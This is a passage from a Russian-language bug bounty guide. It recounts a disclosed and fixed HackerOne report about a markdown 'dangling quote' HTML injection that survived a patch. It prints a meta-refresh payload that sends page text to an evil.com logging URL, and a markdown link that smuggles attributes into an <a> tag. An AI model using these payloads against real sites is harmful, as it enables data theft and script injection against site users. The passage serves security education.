Сложность: Средняя
Url: hackerone.com
Ссылка на отчет: https://hackerone.com/reports/112935³
Дата отчета: 26 января 2016
Выплаченное вознаграждение: $500
Описание:
После прочтения о XSS на Yahoo! (пример 4 в главе 7) я стал
одержим тестированием того, как рендерится HTML в тек-
стовых редакторах. Это включало в себя игру с Markdown-
редактором на HackerOne, ввод значений вроде ismap= “yyy=xxx”
и “‘test” в теги изображений. Занимаясь этим, я заметил,
что редактор включает одиночную кавычку (апостроф) внутри
двойных, это известно как “повисшая кавычка”.
На тот момент я не совсем понимал возможные последствия.
Я знал, что если вы внедрите еще одну одиночную кавычку
куда-нибудь, они вместе будут считаны браузером, который
сочтет все содержимое между ними одним HTML-элементом.
Вот пример:
1 <h1>This is a test</h1><p class=”some class”>some conte\
2 nt</p>’
С этим примером, если вы сможете внедрить мета-тег вроде:
1 <meta http-equiv=”refresh” content=’0; url=https://evil\
2 .com/log.php?text=
то браузер отправит все, что находится между двумя оди-
ночными кавычками. Оказалось, что эта уязвимость извест-
на и описана в отчете на HackerOne #110578⁴ хакером intidc
(https://hackerone.com/intidc). Когда отчет опубликовали, я немно-
го расстроился.
В соответствии с тем, что написано на HackerOne, они пола-
гаются на реализацию Redcarpet (Ruby-библиотека для про-
цессинга Markdown) для экранирования HTML-вывода любого
Markdown-ввода, который затем передается напрямую в HTML DOM (то есть, на веб-страницу) через dangerouslySetInnerHTML
в их компоненте React. Уточню, что React является библиоте-
кой, написанной на Javascript и используемой для динамическо-
го обновления содержимого веб-страницы без её обновления.
DOM опирается на программный интерфейс приложения, от-
куда берет валидный HTML и правильно сформированные
XML-документы. В общем, в соответствии со статьей на Wikipedia,
DOM является кросплатформенным и независимым от языка
соглашением по отображению и взаимодействию с объектами
в HTML, XHTML и XSS документах.
На HackerOne разработчики не экранировали HTML-вывод
должным образом, что вело к потенциальному эксплоиту. Это
значит, что, глядя на отчет, я подумал, что стоит протестиро-
вать новый код. Я вернулся и провел тест, добавив:
1 [test](http://www.torontowebsitedeveloper.com ”test ism\
2 ap=”alert xss” yyy=”test””)
что обратилось в:
1 <a title=”’test” ismap=”alert xss” yyy=”test” ' ref\
2 =”http://www.toronotwebsitedeveloper.com”>test</a>
Как видите, я смог внедрить кучу HTML в тег <a>. В ре-
зультате, HackerOne вернулись к этому фиксу и снова начали
работать над экранированием символа одиночной кавычки.
Выводы
Одно лишь то, что код был обновлен, не значит,
что что-то было исправлено. Проверяйте. Когда
выкатывают обновление, это так же значит, что
новый код может содержать баги.
Кроме того, если вы чувствуете, что что-то не
так, продолжайте копать! Я изначально знал, что
“повисшая кавычка” может быть проблемой, но
я не знал, как её использовать и остановился. Я
должен был продолжать. Значительно позднее
я узнал об эксплоите с мета-обновлением, про-
читав об XSS на блоге Jigsaw blog.innerht.ml (я
включил его в главу “Ресурсы”).